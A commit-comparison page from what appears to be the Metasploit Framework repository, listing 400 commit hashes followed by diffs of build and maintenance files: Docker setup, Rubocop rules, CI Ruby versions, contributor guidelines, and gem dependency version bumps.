Compare commits
400 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| b2aa922a29 | |||
| 64201ad782 | |||
| 6919d1a981 | |||
| 9a72d0cbe7 | |||
| 691d8f2c41 | |||
| 0735113db2 | |||
| c362d668ab | |||
| 184670f62c | |||
| fe13b00d84 | |||
| ba3fa4bf91 | |||
| eb6142c2f8 | |||
| 4c87d38a60 | |||
| 88518ec4ae | |||
| d138ddba8d | |||
| 861097d246 | |||
| 36f776d4a6 | |||
| 0b38f6486d | |||
| 06e8cc49f5 | |||
| 942befab73 | |||
| 3ffcc658e6 | |||
| f6a7f19e2b | |||
| dbd03f9914 | |||
| 465dceb182 | |||
| 9db75849a9 | |||
| 58a88194eb | |||
| 4f67361b46 | |||
| 8540f2cd1c | |||
| f18fd4aca1 | |||
| 81ef17aa62 | |||
| b44cccc368 | |||
| 5827fb5174 | |||
| 40ce762481 | |||
| 8586e6fc8f | |||
| d11eaf3d74 | |||
| 45f354e55d | |||
| 3a92908e9b | |||
| d480ee8e20 | |||
| 4284ffe8a4 | |||
| 9dc3e35f23 | |||
| a4f0dc5ea2 | |||
| e915bb0f66 | |||
| e4aa20ac47 | |||
| 5d95172a81 | |||
| 2052584a31 | |||
| 1abbd61cee | |||
| fbd68df409 | |||
| b5981caa0b | |||
| 69830c0ff5 | |||
| b894f9b6e7 | |||
| 59e0d7b8d2 | |||
| 4fedee604d | |||
| 7f3dfccbfe | |||
| c5dce5edd7 | |||
| 144923db3a | |||
| d4054c24bd | |||
| 709630e35c | |||
| fa95c0c2a1 | |||
| 9bed9f0797 | |||
| fd7ea515aa | |||
| 8260351762 | |||
| 9486aadf64 | |||
| 75d305eef0 | |||
| d310659a77 | |||
| 9aeebf35fe | |||
| 33a909939d | |||
| 87b50e57cc | |||
| 13f981f03f | |||
| 165fb9dc79 | |||
| d4dfb98fb9 | |||
| f14597bcb2 | |||
| bf3e9d8771 | |||
| 0a9dca2b5a | |||
| 2b655e4674 | |||
| 21fc8108ac | |||
| 679378d025 | |||
| 7b7f244164 | |||
| cddb0f2b4d | |||
| cc293b54c4 | |||
| 07f2e664e7 | |||
| e6ca28100c | |||
| 5fb3ffed55 | |||
| d723ffc3ee | |||
| 0bcbcab3d8 | |||
| 17c0bc1fa7 | |||
| 5998896b48 | |||
| 95cb9f3654 | |||
| ce48ff4382 | |||
| 95ee536705 | |||
| 94abd923f3 | |||
| 8cd65324c6 | |||
| 3a6401a420 | |||
| fff6d2ebb7 | |||
| 5323b40f60 | |||
| 972e89b2d7 | |||
| e78715b073 | |||
| 8d86ff0065 | |||
| 7e2c1fae2c | |||
| 0a19221af2 | |||
| 7f372d178d | |||
| 08a6fd3b3b | |||
| 60a9e08cdc | |||
| f5e83d7542 | |||
| 43ae360e15 | |||
| e6a9421e35 | |||
| 9423cdb40b | |||
| 27ab8fdd01 | |||
| aa5c114364 | |||
| f6e0f5bd81 | |||
| 1df5b7655f | |||
| 5f469efacf | |||
| 31ce48502c | |||
| 650c5c7a93 | |||
| 40489fd1f1 | |||
| 30f2fe495b | |||
| 2a9399251c | |||
| d2523e03df | |||
| e7ab118aaf | |||
| 87c6befb45 | |||
| 122af6b143 | |||
| c8ff6cb5a4 | |||
| 9e9e129716 | |||
| b4e305862a | |||
| 3f200fa722 | |||
| caa8b673ed | |||
| 4142b49307 | |||
| 0dc0d3c0ba | |||
| 9bfd7a6bdb | |||
| d78f2e7bbd | |||
| 196b302897 | |||
| 0e5e151403 | |||
| e6a7ec3276 | |||
| 8243207223 | |||
| a177e762d1 | |||
| 89e9f60121 | |||
| 984384b59d | |||
| 016ee4d460 | |||
| 1eabf5dd3d | |||
| 81368bef7a | |||
| 7b3169ad0a | |||
| 9b152cec72 | |||
| 9e326d7c88 | |||
| 9f8dd68d0d | |||
| 5aa0078f4b | |||
| d5019be697 | |||
| a51c1209ab | |||
| 597a64b61b | |||
| bacab0507b | |||
| 06d3ab12a1 | |||
| 4a93947b1a | |||
| 6e71f5c5fd | |||
| 9a273a2663 | |||
| 012de0f6b1 | |||
| cbac801b88 | |||
| bbb5ff8ad4 | |||
| f9d27aaa30 | |||
| 06711c6da9 | |||
| 2f50df7fe7 | |||
| 14ff692d12 | |||
| 78c07b86c4 | |||
| 2d69675650 | |||
| 07d754f637 | |||
| 2d21fbe682 | |||
| 72d8f5ba22 | |||
| 3bc5b0bdcb | |||
| afa3b3a83f | |||
| 1de1b04c4f | |||
| a75b37579d | |||
| a260716305 | |||
| bbbd81bf1f | |||
| b2b97db28b | |||
| 80b16ea645 | |||
| 76a47b81bc | |||
| 0aaae09e5c | |||
| 78f546ce81 | |||
| 0901f35f9c | |||
| dcbc871883 | |||
| 75196b4fc6 | |||
| 9785ace675 | |||
| a74b2b5716 | |||
| 935fa6414e | |||
| 38465e69a8 | |||
| 6c669ecdfc | |||
| e0317671fe | |||
| 8739befa70 | |||
| d6cea3523a | |||
| ad33d72e6e | |||
| 635f483b42 | |||
| f4d9788454 | |||
| 37767e9d4c | |||
| 9f2a442d9b | |||
| a14892774f | |||
| 7382928f10 | |||
| c38bca1799 | |||
| 3b8280c33f | |||
| 173171e2c8 | |||
| 0ba4e349a1 | |||
| 009e643ae3 | |||
| 188b02d1f5 | |||
| 3b7d2c8177 | |||
| 92ada42fc5 | |||
| b3ac70f539 | |||
| 1d7ecb6d9e | |||
| 492b6003b5 | |||
| d340ef2632 | |||
| c23cbde8a1 | |||
| ab12eb8c50 | |||
| 2aa7904270 | |||
| 6ea0e734f9 | |||
| efc9c1724f | |||
| 0949bedf67 | |||
| e5db541726 | |||
| 9ea69b1e35 | |||
| 505eff4403 | |||
| a44bcff2d8 | |||
| abfcdc3fa7 | |||
| 6cbd7ba895 | |||
| d2a43d934d | |||
| 01b4b52407 | |||
| 63e096836f | |||
| b958526b6a | |||
| 8bacddb18f | |||
| 0bb0e78599 | |||
| 3c677aa6bf | |||
| 6b9be37741 | |||
| c6d92e3123 | |||
| 5b42a81d3a | |||
| c3ecbb723d | |||
| e43686177a | |||
| 4e34413026 | |||
| a8a0dd3fcb | |||
| 3fae373270 | |||
| d394146339 | |||
| 876df392f1 | |||
| 084e6b1db3 | |||
| 1743730158 | |||
| c9ae351156 | |||
| c5db4c5021 | |||
| fcafc54db1 | |||
| 62c6340d70 | |||
| 06062f0347 | |||
| 69d995f98c | |||
| ded6a50883 | |||
| 8707047f41 | |||
| 914f8ba872 | |||
| 4765ffc05a | |||
| 706b87d085 | |||
| ef4fd1dc75 | |||
| 9d5ab1dedf | |||
| c2bf848ba9 | |||
| 7f62d49b2a | |||
| 1557540b08 | |||
| f4810c1085 | |||
| f956bb9943 | |||
| d98e85f97c | |||
| c3f9ee2ae3 | |||
| d6f23071ca | |||
| 61da48fc5d | |||
| d192be7764 | |||
| 5560b201b0 | |||
| 6b15be18e7 | |||
| 707b358ad6 | |||
| 60376fe3f4 | |||
| 10ed6637ed | |||
| c7d5d1f489 | |||
| 5d9d0b19ee | |||
| 9d076f6842 | |||
| 36ba1468e8 | |||
| 3b87bf5a03 | |||
| 6108d79dcd | |||
| 409ae22a7e | |||
| fdf9ea04a6 | |||
| 5b1577e46d | |||
| 135b7c6b92 | |||
| 17040e9894 | |||
| 71a1ad69dc | |||
| 57411b4ef8 | |||
| b870091380 | |||
| c31a8ab687 | |||
| 72d2b46ac8 | |||
| 26d333357b | |||
| 584a6ca796 | |||
| 106fbf8a17 | |||
| c56e571b18 | |||
| b860985347 | |||
| a94e6559e6 | |||
| 8bf76a71c2 | |||
| 517b32c836 | |||
| 37576d19a1 | |||
| 030eae5f61 | |||
| 2ad3124f85 | |||
| d756db4f9d | |||
| ef7b77ed01 | |||
| dcb514e5ac | |||
| 7d072ccbcd | |||
| 715279311a | |||
| 8af0d9ceaa | |||
| 44ac2e9c58 | |||
| bf43542743 | |||
| 8f4895c8e7 | |||
| c5e231cfbf | |||
| 028d329b4d | |||
| 8c60a73731 | |||
| bcc0a2a94c | |||
| 149f04cc58 | |||
| 4778de053a | |||
| 49bc0024c1 | |||
| fbee660136 | |||
| 64019d3301 | |||
| 4ef90d8d6c | |||
| c1b50f728b | |||
| f6223c0193 | |||
| 9be7bc9b21 | |||
| d3b4f91b4c | |||
| 6909c635bc | |||
| 31bf6d1bd0 | |||
| 2731b91036 | |||
| e57a1fbd43 | |||
| d5edb566f5 | |||
| 00d5fcfd97 | |||
| 0c86296d99 | |||
| d2150c8d15 | |||
| 4841f29190 | |||
| 6060549512 | |||
| b63a018509 | |||
| 4839e8e7c8 | |||
| 80f34c9b2d | |||
| 3fd2862f76 | |||
| 096ca90953 | |||
| 667cc5bcca | |||
| 789034a06c | |||
| b2f112fd2b | |||
| fac7f3d5be | |||
| 95a5ebc1e7 | |||
| 735fbc5c9f | |||
| fc8cafe81a | |||
| bffba1e5e3 | |||
| 3021a3202b | |||
| 0a5e9d922f | |||
| 2af4f56382 | |||
| ac6fede928 | |||
| c7cd9ca395 | |||
| fd029eda62 | |||
| 178afdaed1 | |||
| a189673782 | |||
| 826b986018 | |||
| 4e8fe54c6c | |||
| c1d701f656 | |||
| dc913b60e4 | |||
| 40220b5ab6 | |||
| 72cb9f358e | |||
| eb54ae4ec0 | |||
| 3635a92f5a | |||
| af8736cad6 | |||
| 72efbb9534 | |||
| d614e06bfa | |||
| 59a41f04f7 | |||
| 8c2484d2da | |||
| d2c203bcb9 | |||
| 13c8072bca | |||
| 5dede95e98 | |||
| 2395f839d0 | |||
| a27b2bff3c | |||
| f581942c7f | |||
| b3962c73b0 | |||
| 2d10a9a201 | |||
| 0b719772cb | |||
| d89a8c3eb9 | |||
| f055bccc2a | |||
| 51a685bcc7 | |||
| d2e71cfc8b | |||
| 60e37e1c78 | |||
| 31ed50ac92 | |||
| 004e228a52 | |||
| e8ad3a98e9 | |||
| b9a8f227fb | |||
| 87dcb13413 | |||
| 1045c1fc11 | |||
| c5a73bdea3 | |||
| 7cde510eb6 | |||
| 358954e15c | |||
| 0cee8485d0 | |||
| bdc0b47844 | |||
| aecc1f143f | |||
| f281b45384 | |||
| e485b152e3 | |||
| 1126acb201 | |||
| 37cb2d77e7 | |||
| 6c3168c541 | |||
| 73bcec5d11 | |||
| 090f7c8bd6 | |||
| 72ed11574b | |||
| cd7187023c | |||
| 32bd516e70 | |||
| 656eb1150a | |||
| 55ae1f7bbe | |||
| 4d4538dceb | |||
| cd723ac86e | |||
| b0da7fcd26 | |||
| 0fe2fb9186 | |||
| a7e779d987 |
@@ -4,6 +4,7 @@
|
||||
docker-compose*.yml
|
||||
docker/
|
||||
!docker/msfconsole.rc
|
||||
!docker/entrypoint.sh
|
||||
README.md
|
||||
.git/
|
||||
.github/
|
||||
|
||||
@@ -41,6 +41,7 @@ sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tatanus <tatanus@github> <adam_compton@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
@@ -82,6 +83,7 @@ corelanc0d3r <corelanc0d3r@github> corelanc0d3r <peter.ve@corelan.be>
|
||||
corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
||||
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
espreto <espreto@github> <robertoespreto@gmail.com>
|
||||
|
||||
+20
-3
@@ -17,6 +17,10 @@ Metrics/ClassLength:
|
||||
Exclude:
|
||||
- 'modules/**/*'
|
||||
|
||||
Style/ClassAndModuleChildren:
|
||||
Enabled: false
|
||||
Description: 'Forced nesting is harmful for grepping and general code comprehension'
|
||||
|
||||
Metrics/AbcSize:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
@@ -29,6 +33,10 @@ Metrics/PerceivedComplexity:
|
||||
Enabled: false
|
||||
Description: 'This is often a red-herring'
|
||||
|
||||
Style/TernaryParentheses:
|
||||
Enabled: false
|
||||
Description: 'This outright produces bugs'
|
||||
|
||||
Style/FrozenStringLiteralComment:
|
||||
Enabled: false
|
||||
Description: 'We cannot support this yet without a lot of things breaking'
|
||||
@@ -37,6 +45,10 @@ Style/RedundantReturn:
|
||||
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
|
||||
Enabled: false
|
||||
|
||||
Style/NumericPredicate:
|
||||
Description: 'This adds no efficiency nor space saving'
|
||||
Enabled: false
|
||||
|
||||
Style/Documentation:
|
||||
Enabled: true
|
||||
Description: 'Most Metasploit modules do not have class documentation.'
|
||||
@@ -92,9 +104,10 @@ Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/SpaceInsideBrackets:
|
||||
Enabled: false
|
||||
Description: 'Until module template are final, most modules will fail this.'
|
||||
Layout/AlignParameters:
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
|
||||
Style/StringLiterals:
|
||||
Enabled: false
|
||||
@@ -104,6 +117,10 @@ Style/WordArray:
|
||||
Enabled: false
|
||||
Description: 'Metasploit prefers consistent use of []'
|
||||
|
||||
Style/IfUnlessModifier:
|
||||
Enabled: false
|
||||
Description: 'This style might save a couple of lines, but often makes code less clear'
|
||||
|
||||
Style/RedundantBegin:
|
||||
Exclude:
|
||||
# this pattern is very common and somewhat unavoidable
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.4.3
|
||||
2.5.1
|
||||
|
||||
+3
-3
@@ -11,9 +11,9 @@ addons:
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.2'
|
||||
- '2.3.6'
|
||||
- '2.4.3'
|
||||
- '2.3.7'
|
||||
- '2.4.4'
|
||||
- '2.5.1'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
|
||||
+6
-1
@@ -36,8 +36,13 @@ and Metasploit's [Common Coding Mistakes].
|
||||
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
|
||||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
If you do not send a PR from a topic branch, the history of your PR will be
|
||||
lost as soon as you update your own master branch. See
|
||||
https://github.com/rapid7/metasploit-framework/pull/8000 for an example of
|
||||
this in action.
|
||||
|
||||
|
||||
### Pull Requests
|
||||
|
||||
|
||||
+10
-6
@@ -1,9 +1,8 @@
|
||||
FROM ruby:2.4.3-alpine3.7
|
||||
FROM ruby:2.5.1-alpine3.7
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
ENV APP_HOME /usr/src/metasploit-framework/
|
||||
ENV MSF_USER msf
|
||||
ENV NMAP_PRIVILEGED=""
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
WORKDIR $APP_HOME
|
||||
@@ -15,6 +14,7 @@ COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
|
||||
|
||||
RUN apk update && \
|
||||
apk add \
|
||||
bash \
|
||||
sqlite-libs \
|
||||
nmap \
|
||||
nmap-scripts \
|
||||
@@ -24,6 +24,7 @@ RUN apk update && \
|
||||
python3 \
|
||||
ncurses \
|
||||
libcap \
|
||||
su-exec \
|
||||
&& apk add --virtual .ruby-builddeps \
|
||||
autoconf \
|
||||
bison \
|
||||
@@ -47,13 +48,16 @@ RUN apk update && \
|
||||
&& apk del .ruby-builddeps \
|
||||
&& rm -rf /var/cache/apk/*
|
||||
|
||||
RUN adduser -g msfconsole -D $MSF_USER
|
||||
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
USER $MSF_USER
|
||||
|
||||
ADD ./ $APP_HOME
|
||||
|
||||
# we need this entrypoint to dynamically create a user
|
||||
# matching the hosts UID and GID so we can mount something
|
||||
# from the users home directory. If the IDs don't match
|
||||
# it results in access denied errors. Once docker has
|
||||
# a solution for this we can revert it back to normal
|
||||
ENTRYPOINT ["docker/entrypoint.sh"]
|
||||
|
||||
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
|
||||
|
||||
@@ -19,18 +19,8 @@ group :development do
|
||||
# module documentation
|
||||
gem 'octokit'
|
||||
# Metasploit::Aggregator external session proxy
|
||||
gem 'metasploit-aggregator' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
gem 'google-protobuf', '3.5.1' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
gem 'grpc', '1.8.3' if [
|
||||
'x86-mingw32', 'x64-mingw32',
|
||||
'x86_64-linux', 'x86-linux',
|
||||
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
|
||||
# disabled during 2.5 transition until aggregator is available
|
||||
#gem 'metasploit-aggregator'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
|
||||
+51
-86
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.37)
|
||||
metasploit-framework (4.17.2)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -16,11 +16,11 @@ PATH
|
||||
json
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-credential (< 3.0.0)
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.28)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.3.7)
|
||||
metasploit-payloads (= 1.3.40)
|
||||
metasploit_data_models (< 3.0.0)
|
||||
metasploit_payloads-mettle (= 0.4.1)
|
||||
mqtt
|
||||
msgpack
|
||||
nessus_rest
|
||||
@@ -38,7 +38,6 @@ PATH
|
||||
pg (= 0.20.0)
|
||||
railties
|
||||
rb-readline
|
||||
rbnacl (< 5.0.0)
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch
|
||||
@@ -50,7 +49,7 @@ PATH
|
||||
rex-mime
|
||||
rex-nop
|
||||
rex-ole
|
||||
rex-powershell (< 0.1.78)
|
||||
rex-powershell
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
@@ -59,6 +58,7 @@ PATH
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby_smb
|
||||
rubyntlm
|
||||
rubyzip
|
||||
@@ -103,75 +103,51 @@ GEM
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.6.1)
|
||||
arel-helpers (2.7.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
backports (3.11.1)
|
||||
bcrypt (3.1.11)
|
||||
backports (3.11.3)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.0)
|
||||
bindata (2.4.2)
|
||||
bindata (2.4.3)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
crass (1.0.3)
|
||||
crass (1.0.4)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.60.2)
|
||||
docile (1.1.5)
|
||||
dnsruby (1.61.1)
|
||||
addressable (~> 2.5)
|
||||
docile (1.3.1)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.9.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.9.0)
|
||||
factory_girl (~> 4.9.0)
|
||||
railties (>= 3.0.0)
|
||||
faker (1.8.7)
|
||||
faker (1.9.1)
|
||||
i18n (>= 0.7)
|
||||
faraday (0.14.0)
|
||||
faraday (0.15.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.18)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.5)
|
||||
google-protobuf (3.5.1)
|
||||
googleapis-common-protos-types (1.0.1)
|
||||
google-protobuf (~> 3.0)
|
||||
googleauth (0.6.2)
|
||||
faraday (~> 0.12)
|
||||
jwt (>= 1.4, < 3.0)
|
||||
logging (~> 2.0)
|
||||
memoist (~> 0.12)
|
||||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.8.3)
|
||||
google-protobuf (~> 3.1)
|
||||
googleapis-common-protos-types (~> 1.0.0)
|
||||
googleauth (>= 0.5.1, < 0.7)
|
||||
fivemat (1.3.6)
|
||||
hashery (2.1.2)
|
||||
i18n (0.9.3)
|
||||
i18n (0.9.5)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
jwt (2.1.0)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.2.2)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.10)
|
||||
loofah (2.1.1)
|
||||
loofah (2.2.2)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
memoist (0.16.0)
|
||||
metasm (1.0.3)
|
||||
metasploit-aggregator (1.0.0)
|
||||
grpc
|
||||
rex-arch
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.12)
|
||||
metasploit-credential (2.0.14)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
metasploit_data_models (< 3.0.0)
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
@@ -181,7 +157,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.28)
|
||||
metasploit-payloads (1.3.40)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -192,30 +168,28 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.3.7)
|
||||
metasploit_payloads-mettle (0.4.1)
|
||||
method_source (0.9.0)
|
||||
mini_portile2 (2.3.0)
|
||||
minitest (5.11.3)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.2.2)
|
||||
multi_json (1.13.1)
|
||||
msgpack (1.2.4)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (4.2.0)
|
||||
net-ssh (5.0.2)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.0)
|
||||
nokogiri (1.8.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.8.4)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.8.0)
|
||||
octokit (4.9.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
os (0.9.6)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pdf-reader (2.0.0)
|
||||
pdf-reader (2.1.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
@@ -223,15 +197,15 @@ GEM
|
||||
ttfunk
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
postgres_ext (3.0.1)
|
||||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.1)
|
||||
rack (1.6.8)
|
||||
public_suffix (3.0.2)
|
||||
rack (1.6.10)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
@@ -240,18 +214,16 @@ GEM
|
||||
activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.0)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
rbnacl (4.0.2)
|
||||
ffi
|
||||
recog (2.1.17)
|
||||
recog (2.1.20)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.13)
|
||||
@@ -262,12 +234,12 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.12)
|
||||
rex-core (0.1.13)
|
||||
rex-encoder (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.16)
|
||||
rex-exploitation (0.1.19)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -280,7 +252,7 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.77)
|
||||
rex-powershell (0.1.78)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.4)
|
||||
@@ -290,14 +262,14 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.10)
|
||||
rex-socket (0.1.14)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.16)
|
||||
rex-text (0.2.21)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
@@ -324,8 +296,9 @@ GEM
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.7.1)
|
||||
ruby-macho (2.0.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (0.0.18)
|
||||
ruby_smb (1.0.3)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
@@ -334,13 +307,8 @@ GEM
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
signet (0.8.1)
|
||||
addressable (~> 2.3)
|
||||
faraday (~> 0.9)
|
||||
jwt (>= 1.5, < 3.0)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.15.1)
|
||||
docile (~> 1.1.0)
|
||||
simplecov (0.16.1)
|
||||
docile (~> 1.1)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
@@ -350,16 +318,16 @@ GEM
|
||||
thread_safe (0.3.6)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.4)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2018.3)
|
||||
tzinfo-data (1.2018.5)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.12)
|
||||
yard (0.9.14)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -367,9 +335,6 @@ PLATFORMS
|
||||
DEPENDENCIES
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
google-protobuf (= 3.5.1)
|
||||
grpc (= 1.8.3)
|
||||
metasploit-aggregator
|
||||
metasploit-framework!
|
||||
octokit
|
||||
pry
|
||||
@@ -382,4 +347,4 @@ DEPENDENCIES
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.16.1
|
||||
1.16.2
|
||||
|
||||
@@ -603,6 +603,54 @@ License: Artistic
|
||||
